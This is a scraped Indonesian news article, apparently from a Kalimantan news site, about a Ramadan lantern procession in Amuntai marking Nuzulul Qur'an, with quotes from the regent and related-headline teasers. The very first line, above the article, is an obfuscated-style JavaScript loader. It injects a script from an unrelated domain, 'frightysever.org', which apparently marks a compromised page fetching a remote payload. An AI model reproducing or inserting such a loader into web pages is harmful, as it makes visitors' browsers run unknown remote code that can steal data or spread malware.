(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Ribuan warga kota Amuntai dan sekitarnya tumpah-ruah memenuhi jalanan protokol kota. Mereka berbondong menyaksikan digelarnya kembali arak-arakan tanglong di Kota Amuntai pada Senin (4/6) malam, bertepatan dengan 19 Ramadhan 1439 H oleh Panitia Hari Besar Islam (PHBI) Kabupaten Hulu Sungai Utara (HSU).
Acara ini dilepas secara langsung Bupati HSU H Abdul Wahid HK, yang startnya berawal di depan Kediaman Bupati di Jalan Norman Umar. Selanjutnya, melewati rute yang telah ditentukan oleh panitia melalui jalan protokol meliputi jalan Soewandi Soemarta, Jalan Bihman Villa, Jalan H. Ali, Jalan Pangeran Antasari, Jalan Ahmad Yani, dan kembali ke Jalan Norman Umar.
Arak-Arakan Tanglong digelar dalam rangka memeriahkan peringatan Nuzulul Qur’an dan menyemarakkan Bulan Suci Ramadhan. Para peserta menampilkan hal-hal bernilai islami dalam bentuk unta, ka’bah, tempat ibadah, gua hira, kaligrafi, lampion, dan lain-lain; ditambah bunyi-bunyian “bakalintingan” yang merupakan salah satu khas Kalimantan Selatan pada saat “bagarakan sahur†(membangunkan sahur).
Bupati Wahid sebelum melepas peserta arak-arakan tanglong mengatakan, acara pada tahun ini banyak diminati generasi muda laki laki maupun perempuan. Hal ini membuktikan generasi muda saat bisa kompak dan bekerjasama. “Arak-arakan tanglong ini diikuti perwakilan kecamatan dan juga perwakilan tiap desa, bahkan dari kecamatan yang terjauh seperti Danau Panggang dan Babirik,” katanya.
Arak-arakan tanglong ini tidak hanya di hadiri masyarakat Kabupaten Hulu Sungai Utara, tetapi ada juga masyarakat dari kabupaten tetangga yang kebetulan mempunyai keluarga di Kabupaten Hulu Sungai Utara.
Ia juga berterimakasih kepada pihak-pihak yang telah menyukseskan acara ini, sehingga berjalan dengan baik dan lancar. Selain itu, Wahid juga mengingatkan kepada masyarakat agar disela-sela memeriahkan arak-arakan tanglong ini, tetap berkosentrasi menjalankan ibadah. “Di sepertiga akhir bulan Ramadhan ini ada malam Lailatur Qadar. Ibadah di malam Lailatur Qadar akan dinilai lebih baik daripada 1000 bulan,” tambah Wahid.
Arak-arakan tanglong ini dilepas secara resmi oleh Bupati HSU, didampingi Wakil Bupati, Forkopimda, Plt Sekda, Ketua Tim Penggerak PKK, serta para pejabat pemerintah di lingkungan Kabupaten HSU. Di akhir acara, juga dibagikan undian doorprize TV sebanyak 30 buah, serta dana partisipasi sebesar Rp. 500 ribu kepada masing-masing peserta yang berjumlah sebanyak 160 grup. (dew)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.